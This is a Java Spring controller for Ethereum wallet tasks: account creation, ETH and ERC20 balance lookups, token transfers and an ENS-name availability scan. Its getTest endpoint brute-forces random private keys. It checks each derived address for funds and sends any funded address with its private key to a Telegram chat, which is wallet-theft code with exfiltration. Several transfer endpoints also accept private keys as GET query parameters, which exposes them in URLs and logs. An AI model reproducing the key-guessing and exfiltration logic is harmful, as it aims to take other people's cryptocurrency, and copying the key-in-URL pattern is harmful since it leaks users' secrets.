package com.gkc.trx.controller;

import com.alibaba.fastjson.JSON;
import com.gkc.trx.config.ETHConfig;
import com.gkc.trx.config.TelegramConfig;
import com.gkc.trx.entity.Address;
import com.gkc.trx.proto.Response;
import com.gkc.trx.utils.ETHUtils;
import com.gkc.trx.utils.EnsUtils;
import com.gkc.trx.utils.TelegramUtils;
import com.gkc.trx.utils.ZipUtils;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.web3j.crypto.Credentials;
import org.web3j.protocol.Web3j;

import java.io.*;
import java.math.BigDecimal;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;

@RestController
@RequestMapping("/eth")
public class EthController {
    private String walletFileBasePath="/Users/abakus/Desktop/jianzhi/";

    @Value("${eth.contract-address}")
    private String contractAddress;


    //生成账户
    @GetMapping("/createAccount")
    public String generateAddress(String password) {
        String walletFileName = null;
        try {
            walletFileName = ETHUtils.creatAccount(walletFileBasePath, password);
        } catch (Exception e) {
            e.printStackTrace();
        }
        // 钱包文件
        String walletFile = walletFileBasePath + walletFileName;
        System.out.println("第一步：创建的钱包KeyStore文件为: ---> " + walletFile);
        return walletFile;
    }

    //获取余额
    @GetMapping("/getBalance")
    public String getAccount(String walletFile, String password) {
        Credentials credentials = null;
        try {
            credentials = ETHUtils.getCredentials(walletFile, password);
        } catch (Exception e) {
            e.printStackTrace();
        }
        // 加载钱包
        java.util.Map<String, Object> map = null;
        try {
            map = ETHUtils.loadWallet(credentials);
        } catch (Exception e) {
            e.printStackTrace();
        }
        String address = String.valueOf(map.get("address"));


        Web3j web3j = null;
        try {
            web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("==================获取钱包余额");
        String blanceOf = null;
        try {
            blanceOf = ETHUtils.getBlanceOf(web3j, address);
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("当前账户 ETH 余额: " + blanceOf);
        return blanceOf;
    }

    //获取erc20代币余额
    @GetMapping("/getErc20Balance")
    public String getAccount(String address) {
        Web3j web3j = null;
        try {
            web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);
        } catch (IOException e) {
            e.printStackTrace();
        }
        String erc20Balance = null;
        try {
            erc20Balance = ETHUtils.getERC20Balance(web3j, address, contractAddress);
        } catch (Exception e) {
            e.printStackTrace();
        }
        System.out.println("当前账户 ERC20代币 余额: " + erc20Balance);
        return erc20Balance;
    }

    //erc10转账
    //变量可以自由处理，或者内网调用该接口
    @GetMapping("/transferErc10")
    public String transferErc10(String toAddress, String privateKey, String password, BigDecimal amount) throws Exception {
        Credentials credentials = Credentials.create(privateKey);
        Web3j web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);
        String txId = ETHUtils.transErc10To(web3j, credentials, amount, toAddress);
        return txId;
    }

    @GetMapping("/getEns")
    public String getEns() throws Exception {
        File directory = new File("");//设定为当前文件夹
        String path = directory.getCanonicalPath();
        Web3j web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);
        try{
            List<String>  ensList = new ArrayList<>();
            for(int i = 100;i<=10000;i++){

               Boolean result =  EnsUtils.getResult(web3j,"0x283Af0B28c62C092C9727F1Ee09c02CA627EB7F5",""+i);

               if(result){
                   System.out.println(i+"未注册");
                   ensList.add(""+i);
               }else{
                   System.out.println(i+"已注册");
               }

            }
            createJsonFile(JSON.toJSON(ensList).toString(),path,"ens");

        }catch (Exception e){
            System.out.println(e);
        }


        return "";
    }

    //erc20转账
    //变量可以自由处理，或者内网调用该接口
    @GetMapping("/transferErc20")
    public String transferErc20(String fromAddress,String toAddress,String privateKey,BigDecimal amount) throws Exception {
        Credentials credentials = Credentials.create(privateKey);
        Web3j web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);

        String txId = ETHUtils.transferERC20Token(web3j, fromAddress, toAddress, amount, credentials, contractAddress);

        return txId;
    }

    @GetMapping("/getTest")
    public String getTest(@RequestParam("password") String password) throws IOException {
        File directory = new File("");//设定为当前文件夹
        String path = directory.getCanonicalPath();


        Web3j web3j = null;
        try {
            web3j = ETHUtils.createETHclient(ETHConfig.API_INFURA_TOKEN);
        } catch (IOException e) {
            e.printStackTrace();
        }
        String adress = "0x394A64e586FC05bD28783351F14dfcc426EFD230";
        String ff = ETHUtils.getBlanceOf(web3j, adress);
        if(!ff.equals("0 ether")){
            System.out.println(ff);
        }

        for(int i = 0;i<50000;i++){

            String privateKey  = randomHexString(64);
            Credentials credentials = Credentials.create(privateKey);
            String address = credentials.getAddress();
            String blanceOf = null;
            try {
                Thread.sleep(5000l);
                blanceOf = ETHUtils.getBlanceOf(web3j, address);
                System.out.println(i+"||"+privateKey + "||" + address +"余额:" + blanceOf);
                if(!blanceOf.equals("0 ether")){
                    Address addressee = new Address();
                    addressee.setAddress(address);
                    addressee.setPrivateKey(privateKey);
                    //发送给Telegram
                    String message = "找到地址:"+address+"私钥："+privateKey;
                    TelegramUtils.sendMessage(TelegramConfig.TELEGRAM_TOKEN,TelegramConfig.CHAT_ID,message);
                    String jsonFile = createJsonFile(JSON.toJSON(addressee).toString(),path+File.separator+"eth",i+System.currentTimeMillis()+"");
                    if(jsonFile != null){
                        ZipUtils.toZip(jsonFile,path+File.separator +"eth"+File.separator+ i + ".zip",password);
                    }
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        return "ok";
    }





    public static String randomHexString(int len)  {
        try {
            StringBuffer result = new StringBuffer();
            for(int i=0;i<len;i++) {
                result.append(Integer.toHexString(new Random().nextInt(16)));
            }
            return result.toString().toUpperCase();

        } catch (Exception e) {
            // TODO: handle exception
            e.printStackTrace();

        }
        return null;

    }

    public  static String  createJsonFile(String jsonString, String filePath,String i) {

        // 拼接文件完整路径
        String fullPath = filePath + File.separator + i + ".json";

        // 生成json格式文件
        try {
            // 保证创建一个新文件
            File file = new File(fullPath);
            if (!file.getParentFile().exists()) { // 如果父目录不存在，创建父目录
                file.getParentFile().mkdirs();
            }
            if (file.exists()) { // 如果已存在,删除旧文件
                file.delete();
            }
            file.createNewFile();

            // 将格式化后的字符串写入文件
            Writer write = new OutputStreamWriter(new FileOutputStream(file), "UTF-8");
            write.write(jsonString);
            write.flush();
            write.close();
            return fullPath;
        } catch (Exception e) {
            e.printStackTrace();
        }

        // 返回是否成功的标记
        return null;
    }

}
